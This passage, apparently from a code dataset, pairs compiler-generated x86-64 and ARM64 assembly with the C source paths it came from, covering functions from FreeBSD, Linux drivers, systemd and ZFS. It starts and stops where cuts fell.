cmovlel %ebx, %r14d LBB0_11: movl %r14d, %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_7: movl $-1, %r14d jmp LBB0_11 .cfi_endproc ## -- End function .comm _NM_BDG_IFNAMSIZ,4,2 ## @NM_BDG_IFNAMSIZ .comm _IFNAMSIZ,4,2 ## @IFNAMSIZ .no_dead_strip _nm_bdg_name_validate .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function nm_bdg_name_validate _nm_bdg_name_validate: ; @nm_bdg_name_validate .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 cbz x0, LBB0_2 ; %bb.1: mov x20, x1 mov x19, x0 bl _strlen ; kill: def $w0 killed $w0 def $x0 sxtw x8, w0 cmp x8, x20 b.hs LBB0_3 LBB0_2: mov w0, #-1 b LBB0_11 LBB0_3: Lloh0: adrp x21, _NM_BDG_IFNAMSIZ@GOTPAGE Lloh1: ldr x21, [x21, _NM_BDG_IFNAMSIZ@GOTPAGEOFF] ldr w8, [x21] cmp w8, #1 b.lt LBB0_9 ; %bb.4: mov x20, #0 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldrb w8, [x19, x20] cbz w8, LBB0_9 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 cmp w8, #58 b.eq LBB0_10 ; %bb.7: ; in Loop: Header=BB0_5 Depth=1 sxtb w0, w8 bl _nm_is_id_char cbz w0, LBB0_2 ; %bb.8: ; in Loop: Header=BB0_5 Depth=1 add x20, x20, #1 ldrsw x8, [x21] cmp x20, x8 b.lt LBB0_5 LBB0_9: mov w20, #-1 LBB0_10: mov x0, x19 bl _strlen Lloh2: adrp x8, _IFNAMSIZ@GOTPAGE Lloh3: ldr x8, [x8, _IFNAMSIZ@GOTPAGEOFF] Lloh4: ldr w8, [x8] sub w9, w0, w20 cmp w9, w8 csinv w0, w20, wzr, le LBB0_11: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .cfi_endproc ; -- End function .comm _NM_BDG_IFNAMSIZ,4,2 ; @NM_BDG_IFNAMSIZ .comm _IFNAMSIZ,4,2 ; @IFNAMSIZ .no_dead_strip _nm_bdg_name_validate .subsections_via_symbols
AnghaBench/freebsd/sys/dev/netmap/extr_netmap_bdg.c_nm_bdg_name_validate.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function intel_ddi_pre_enable _intel_ddi_pre_enable: ## @intel_ddi_pre_enable .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx leaq 8(%rdi), %r14 movq 16(%rdi), %rdi callq _to_intel_crtc movq %rax, %r12 movq %rbx, %rdi callq _intel_ddi_get_encoder_port movl %eax, %r15d movl (%rbx), %r13d movq _INTEL_OUTPUT_EDP@GOTPCREL(%rip), %rbx cmpl (%rbx), %r13d jne LBB0_2 ## %bb.1: movq %r14, %rdi callq _enc_to_intel_dp movq %rax, %rbx movq %rax, %rdi callq _ironlake_edp_panel_vdd_on movq %rbx, %rdi callq _ironlake_edp_panel_on movq %rbx, %rdi movq _INTEL_OUTPUT_EDP@GOTPCREL(%rip), %rbx movl $1, %esi callq _ironlake_edp_panel_vdd_off LBB0_2: movq (%r12), %rax movq _PORT_CLK_SEL_NONE@GOTPCREL(%rip), %rcx xorl %edi, %edi cmpq (%rcx), %rax sete %dil callq _WARN_ON movl %r15d, %edi callq _PORT_CLK_SEL movq (%r12), %rsi movl %eax, %edi callq _I915_WRITE movq _INTEL_OUTPUT_DISPLAYPORT@GOTPCREL(%rip), %rax cmpl (%rax), %r13d je LBB0_5 ## %bb.3: cmpl (%rbx), %r13d je LBB0_5 ## %bb.4: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_5: movq %r14, %rdi callq _enc_to_intel_dp movq %rax, %rbx movq _DRM_MODE_DPMS_ON@GOTPCREL(%rip), %rax movl (%rax), %esi movq %rbx, %rdi callq _intel_dp_sink_dpms movq %rbx, %rdi callq _intel_dp_start_link_train movq %rbx, %rdi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _intel_dp_complete_link_train ## TAILCALL .cfi_endproc ## -- End function .comm _INTEL_OUTPUT_EDP,4,2 ## @INTEL_OUTPUT_EDP .comm _PORT_CLK_SEL_NONE,8,3 ## @PORT_CLK_SEL_NONE .comm _INTEL_OUTPUT_DISPLAYPORT,4,2 ## @INTEL_OUTPUT_DISPLAYPORT .comm _DRM_MODE_DPMS_ON,4,2 ## @DRM_MODE_DPMS_ON .no_dead_strip _intel_ddi_pre_enable .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function intel_ddi_pre_enable _intel_ddi_pre_enable: ; @intel_ddi_pre_enable .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x22, x0 add x19, x0, #8 ldr x0, [x0, #16] bl _to_intel_crtc mov x20, x0 mov x0, x22 bl _intel_ddi_get_encoder_port mov x21, x0 ldr w23, [x22] Lloh0: adrp x24, _INTEL_OUTPUT_EDP@GOTPAGE Lloh1: ldr x24, [x24, _INTEL_OUTPUT_EDP@GOTPAGEOFF] ldr w8, [x24] cmp w23, w8 b.ne LBB0_2 ; %bb.1: mov x0, x19 bl _enc_to_intel_dp mov x22, x0 bl _ironlake_edp_panel_vdd_on mov x0, x22 bl _ironlake_edp_panel_on mov x0, x22 mov w1, #1 bl _ironlake_edp_panel_vdd_off LBB0_2: ldr x8, [x20] Lloh2: adrp x9, _PORT_CLK_SEL_NONE@GOTPAGE Lloh3: ldr x9, [x9, _PORT_CLK_SEL_NONE@GOTPAGEOFF] Lloh4: ldr x9, [x9] cmp x8, x9 cset w0, eq bl _WARN_ON mov x0, x21 bl _PORT_CLK_SEL ldr x1, [x20] bl _I915_WRITE Lloh5: adrp x8, _INTEL_OUTPUT_DISPLAYPORT@GOTPAGE Lloh6: ldr x8, [x8, _INTEL_OUTPUT_DISPLAYPORT@GOTPAGEOFF] Lloh7: ldr w8, [x8] ldr w9, [x24] cmp w23, w8 ccmp w23, w9, #4, ne b.ne LBB0_4 ; %bb.3: mov x0, x19 bl _enc_to_intel_dp mov x19, x0 Lloh8: adrp x8, _DRM_MODE_DPMS_ON@GOTPAGE Lloh9: ldr x8, [x8, _DRM_MODE_DPMS_ON@GOTPAGEOFF] Lloh10: ldr w1, [x8] bl _intel_dp_sink_dpms mov x0, x19 bl _intel_dp_start_link_train mov x0, x19 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _intel_dp_complete_link_train LBB0_4: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10 .cfi_endproc ; -- End function .comm _INTEL_OUTPUT_EDP,4,2 ; @INTEL_OUTPUT_EDP .comm _PORT_CLK_SEL_NONE,8,3 ; @PORT_CLK_SEL_NONE .comm _INTEL_OUTPUT_DISPLAYPORT,4,2 ; @INTEL_OUTPUT_DISPLAYPORT .comm _DRM_MODE_DPMS_ON,4,2 ; @DRM_MODE_DPMS_ON .no_dead_strip _intel_ddi_pre_enable .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/gpu/drm/i915/extr_intel_ddi.c_intel_ddi_pre_enable.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function scan_io_queues_update_seg_stats _scan_io_queues_update_seg_stats: ## @scan_io_queues_update_seg_stats .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subl %esi, %edx addl %edx, 4(%rdi) incl (%rdi) popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _scan_io_queues_update_seg_stats .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function scan_io_queues_update_seg_stats _scan_io_queues_update_seg_stats: ; @scan_io_queues_update_seg_stats .cfi_startproc ; %bb.0: ldp w9, w8, [x0] sub w10, w2, w1 add w8, w8, w10 add w9, w9, #1 stp w9, w8, [x0] ret .cfi_endproc ; -- End function .no_dead_strip _scan_io_queues_update_seg_stats .subsections_via_symbols
AnghaBench/freebsd/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/extr_dsl_scan.c_scan_io_queues_update_seg_stats.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _config_parse_string ## -- Begin function config_parse_string .p2align 4, 0x90 _config_parse_string: ## @config_parse_string .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r9, %r14 movq %rsi, %rdi movq 32(%rbp), %r15 movq 24(%rbp), %rbx callq _assert movq %r14, %rdi callq _assert movq %rbx, %rdi callq _assert movq %r15, %rdi callq _assert movq %rbx, %rdi callq _empty_to_null movq %r15, %rdi movl %eax, %esi callq _free_and_strdup testq %rax, %rax js LBB0_2 ## %bb.1: xorl %eax, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq LBB0_2: xorl %eax, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _log_oom ## TAILCALL .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _config_parse_string ; -- Begin function config_parse_string .p2align 2 _config_parse_string: ; @config_parse_string .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x7 mov x20, x5 mov x0, x1 ldr x21, [x29, #16] bl _assert mov x0, x20 bl _assert mov x0, x19 bl _assert mov x0, x21 bl _assert mov x0, x19 bl _empty_to_null mov x1, x0 mov x0, x21 bl _free_and_strdup tbnz x0, #63, LBB0_2 ; %bb.1: mov w0, #0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret LBB0_2: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _log_oom .cfi_endproc ; -- End function .subsections_via_symbols
AnghaBench/systemd/src/shared/extr_conf-parser.c_config_parse_string.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function CvListIsSingleton _CvListIsSingleton: ## @CvListIsSingleton .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp testq %rdi, %rdi je LBB0_4 ## %bb.1: cmpq $0, (%rdi) jne LBB0_4 ## %bb.2: movq _TRUE@GOTPCREL(%rip), %rax jmp LBB0_5 LBB0_4: movq _FALSE@GOTPCREL(%rip), %rax LBB0_5: movl (%rax), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _FALSE,4,2 ## @FALSE .comm _TRUE,4,2 ## @TRUE .no_dead_strip _CvListIsSingleton .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function CvListIsSingleton _CvListIsSingleton: ; @CvListIsSingleton .cfi_startproc ; %bb.0: Lloh0: adrp x8, _FALSE@GOTPAGE Lloh1: ldr x8, [x8, _FALSE@GOTPAGEOFF] cbz x0, LBB0_2 ; %bb.1: ldr x9, [x0] Lloh2: adrp x10, _TRUE@GOTPAGE Lloh3: ldr x10, [x10, _TRUE@GOTPAGEOFF] cmp x9, #0 csel x8, x10, x8, eq LBB0_2: ldr w0, [x8] ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh2, Lloh3 .cfi_endproc ; -- End function .comm _FALSE,4,2 ; @FALSE .comm _TRUE,4,2 ; @TRUE .no_dead_strip _CvListIsSingleton .subsections_via_symbols
AnghaBench/freebsd/sys/contrib/dev/acpica/compiler/extr_cvdisasm.c_CvListIsSingleton.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 leaq _stringChar(%rip), %rsi movq _stringChar(%rip), %rcx movq _stringPTR@GOTPCREL(%rip), %rbx movq %rcx, (%rbx) leaq L_.str.1(%rip), %rdi movq %rcx, %rdx xorl %eax, %eax callq _printf movq (%rbx), %rcx leaq L_.str.2(%rip), %rdi movq %rbx, %rsi movq %rcx, %rdx xorl %eax, %eax callq _printf movq (%rbx), %rax leaq 1(%rax), %rcx movq %rcx, (%rbx) cmpb $0, 1(%rax) je LBB0_3 ## %bb.1: leaq L_.str.3(%rip), %r14 .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq %r14, %rdi movq %rbx, %rsi movq %rcx, %rdx xorl %eax, %eax callq _printf movq (%rbx), %rax leaq 1(%rax), %rcx movq %rcx, (%rbx) cmpb $0, 1(%rax) jne LBB0_2 LBB0_3: leaq L_.str.4(%rip), %rdi movq %rcx, %rsi xorl %eax, %eax popq %rbx popq %r14 popq %rbp jmp _printf ## TAILCALL .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "HALLO" .section __DATA,__data .globl _stringChar ## @stringChar .p2align 3 _stringChar: .quad L_.str .comm _stringPTR,8,3 ## @stringPTR .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "ADDR1: %p VAL: %p STR: %s\n" L_.str.2: ## @.str.2 .asciz "ADDR2: %p VAL: %p STR: %s\n" L_.str.3: ## @.str.3 .asciz "ADDR3: %p VAL: %p STR: %s\n" L_.str.4: ## @.str.4 .asciz "End of String = %p\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 Lloh0: adrp x8, _stringChar@PAGE Lloh1: add x8, x8, _stringChar@PAGEOFF ldr x9, [x8] Lloh2: adrp x20, _stringPTR@GOTPAGE Lloh3: ldr x20, [x20, _stringPTR@GOTPAGEOFF] str x9, [x20] stp x9, x9, [sp, #8] str x8, [sp] Lloh4: adrp x0, l_.str.1@PAGE Lloh5: add x0, x0, l_.str.1@PAGEOFF bl _printf ldr x8, [x20] stp x8, x8, [sp, #8] str x20, [sp] Lloh6: adrp x0, l_.str.2@PAGE Lloh7: add x0, x0, l_.str.2@PAGEOFF bl _printf ldr x9, [x20] add x8, x9, #1 str x8, [x20] ldrb w9, [x9, #1] cbz w9, LBB0_3 ; %bb.1: Lloh8: adrp x19, l_.str.3@PAGE Lloh9: add x19, x19, l_.str.3@PAGEOFF LBB0_2: ; =>This Inner Loop Header: Depth=1 stp x8, x8, [sp, #8] str x20, [sp] mov x0, x19 bl _printf ldr x9, [x20] add x8, x9, #1 str x8, [x20] ldrb w9, [x9, #1] cbnz w9, LBB0_2 LBB0_3: str x8, [sp] Lloh10: adrp x0, l_.str.4@PAGE Lloh11: add x0, x0, l_.str.4@PAGEOFF bl _printf ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpAdd Lloh6, Lloh7 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpAdd Lloh8, Lloh9 .loh AdrpAdd Lloh10, Lloh11 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "HALLO" .section __DATA,__data .globl _stringChar ; @stringChar .p2align 3 _stringChar: .quad l_.str .comm _stringPTR,8,3 ; @stringPTR .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "ADDR1: %p VAL: %p STR: %s\n" l_.str.2: ; @.str.2 .asciz "ADDR2: %p VAL: %p STR: %s\n" l_.str.3: ; @.str.3 .asciz "ADDR3: %p VAL: %p STR: %s\n" l_.str.4: ; @.str.4 .asciz "End of String = %p\n" .subsections_via_symbols
the_stack_data/122016649.c
stack
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function WR1 _WR1: ## @WR1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %r14d movl %esi, %ebx movq %rdi, %r15 movl %esi, %r12d andl $-4, %r12d movl %r12d, %esi callq _RD4 shll $3, %ebx movl $255, %edx movl %ebx, %ecx shll %cl, %edx notl %edx andl %eax, %edx shll %cl, %r14d orl %edx, %r14d movq %r15, %rdi movl %r12d, %esi movl %r14d, %edx popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmp _WR4 ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _WR1 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function WR1 _WR1: ; @WR1 .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 mov x20, x1 mov x21, x0 and w22, w1, #0xfffffffc mov x1, x22 bl _RD4 ubfiz w8, w20, #3, #2 mov w9, #255 lsl w9, w9, w8 bic w9, w0, w9 lsl w8, w19, w8 orr w2, w9, w8 mov x0, x21 mov x1, x22 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _WR4 .cfi_endproc ; -- End function .no_dead_strip _WR1 .subsections_via_symbols
AnghaBench/freebsd/sys/arm/broadcom/bcm2835/extr_bcm2835_sdhost.c_WR1.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function hfa384x_cb_status _hfa384x_cb_status: ## @hfa384x_cb_status .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 cmpq $0, 16(%rsi) je LBB0_5 ## %bb.1: movq %rsi, %rbx movq %rdi, %r14 movq (%rsi), %rax movq _CTLX_COMPLETE@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_2 ## %bb.3: leaq 24(%rbx), %rdi leaq -24(%rbp), %rsi callq _usbctlx_get_status jmp LBB0_4 LBB0_2: leaq -24(%rbp), %rdi xorl %esi, %esi movl $4, %edx callq _memset movq _HFA384x_CMD_ERR@GOTPCREL(%rip), %rax movl (%rax), %edi callq _HFA384x_STATUS_RESULT_SET movl %eax, -24(%rbp) LBB0_4: movl 8(%rbx), %edx leaq -24(%rbp), %rsi movq %r14, %rdi callq *16(%rbx) LBB0_5: addq $16, %rsp popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _CTLX_COMPLETE,8,3 ## @CTLX_COMPLETE .comm _HFA384x_CMD_ERR,4,2 ## @HFA384x_CMD_ERR .no_dead_strip _hfa384x_cb_status .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function hfa384x_cb_status _hfa384x_cb_status: ; @hfa384x_cb_status .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldr x8, [x1, #16] cbz x8, LBB0_5 ; %bb.1: mov x20, x1 mov x19, x0 ldr x8, [x1] Lloh0: adrp x9, _CTLX_COMPLETE@GOTPAGE Lloh1: ldr x9, [x9, _CTLX_COMPLETE@GOTPAGEOFF] Lloh2: ldr x9, [x9] cmp x8, x9 b.ne LBB0_3 ; %bb.2: add x0, x20, #24 add x1, sp, #8 bl _usbctlx_get_status b LBB0_4 LBB0_3: add x0, sp, #8 mov w1, #0 mov w2, #4 bl _memset Lloh3: adrp x8, _HFA384x_CMD_ERR@GOTPAGE Lloh4: ldr x8, [x8, _HFA384x_CMD_ERR@GOTPAGEOFF] Lloh5: ldr w0, [x8] bl _HFA384x_STATUS_RESULT_SET str w0, [sp, #8] LBB0_4: ldr x8, [x20, #16] ldr w2, [x20, #8] add x1, sp, #8 mov x0, x19 blr x8 LBB0_5: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _CTLX_COMPLETE,8,3 ; @CTLX_COMPLETE .comm _HFA384x_CMD_ERR,4,2 ; @HFA384x_CMD_ERR .no_dead_strip _hfa384x_cb_status .subsections_via_symbols
AnghaBench/linux/drivers/staging/wlan-ng/extr_hfa384x_usb.c_hfa384x_cb_status.c
anghabench
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function kgd_wave_control_execute _kgd_wave_control_execute: ## @kgd_wave_control_execute .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %r15d movl %esi, %ebx callq _get_amdgpu_device movq %rax, %r14 movq %rax, %rdi callq _mutex_lock movq _GC@GOTPCREL(%rip), %r12 movl (%r12), %edi movq _mmGRBM_GFX_INDEX@GOTPCREL(%rip), %r13 movl (%r13), %edx xorl %esi, %esi callq _SOC15_REG_OFFSET movl %eax, %edi movl %ebx, %esi callq _WREG32 movl (%r12), %edi movq _mmSQ_CMD@GOTPCREL(%rip), %rax movl (%rax), %edx xorl %esi, %esi callq _SOC15_REG_OFFSET movl %eax, %edi movl %r15d, %esi callq _WREG32 movq _GRBM_GFX_INDEX@GOTPCREL(%rip), %rbx movl (%rbx), %esi movq _INSTANCE_BROADCAST_WRITES@GOTPCREL(%rip), %rax movl (%rax), %edx xorl %edi, %edi movl $1, %ecx callq _REG_SET_FIELD movl (%rbx), %esi movq _SA_BROADCAST_WRITES@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl %eax, %edi movl $1, %ecx callq _REG_SET_FIELD movl (%rbx), %esi movq _SE_BROADCAST_WRITES@GOTPCREL(%rip), %rcx movl (%rcx), %edx movl %eax, %edi movl $1, %ecx callq _REG_SET_FIELD movl %eax, %ebx movl (%r12), %edi movl (%r13), %edx xorl %esi, %esi callq _SOC15_REG_OFFSET movl %eax, %edi movl %ebx, %esi callq _WREG32 movq %r14, %rdi callq _mutex_unlock xorl %eax, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _GC,4,2 ## @GC .comm _mmGRBM_GFX_INDEX,4,2 ## @mmGRBM_GFX_INDEX .comm _mmSQ_CMD,4,2 ## @mmSQ_CMD .comm _GRBM_GFX_INDEX,4,2 ## @GRBM_GFX_INDEX .comm _INSTANCE_BROADCAST_WRITES,4,2 ## @INSTANCE_BROADCAST_WRITES .comm _SA_BROADCAST_WRITES,4,2 ## @SA_BROADCAST_WRITES .comm _SE_BROADCAST_WRITES,4,2 ## @SE_BROADCAST_WRITES .no_dead_strip _kgd_wave_control_execute .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function kgd_wave_control_execute _kgd_wave_control_execute: ; @kgd_wave_control_execute .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x2 mov x21, x1 bl _get_amdgpu_device mov x19, x0 bl _mutex_lock Lloh0: adrp x22, _GC@GOTPAGE Lloh1: ldr x22, [x22, _GC@GOTPAGEOFF] ldr w0, [x22] Lloh2: adrp x23, _mmGRBM_GFX_INDEX@GOTPAGE Lloh3: ldr x23, [x23, _mmGRBM_GFX_INDEX@GOTPAGEOFF] ldr w2, [x23] mov w1, #0 bl _SOC15_REG_OFFSET mov x1, x21 bl _WREG32 ldr w0, [x22] Lloh4: adrp x8, _mmSQ_CMD@GOTPAGE Lloh5: ldr x8, [x8, _mmSQ_CMD@GOTPAGEOFF] Lloh6: ldr w2, [x8] mov w1, #0 bl _SOC15_REG_OFFSET mov x1, x20 bl _WREG32 Lloh7: adrp x20, _GRBM_GFX_INDEX@GOTPAGE Lloh8: ldr x20, [x20, _GRBM_GFX_INDEX@GOTPAGEOFF] ldr w1, [x20] Lloh9: adrp x8, _INSTANCE_BROADCAST_WRITES@GOTPAGE Lloh10: ldr x8, [x8, 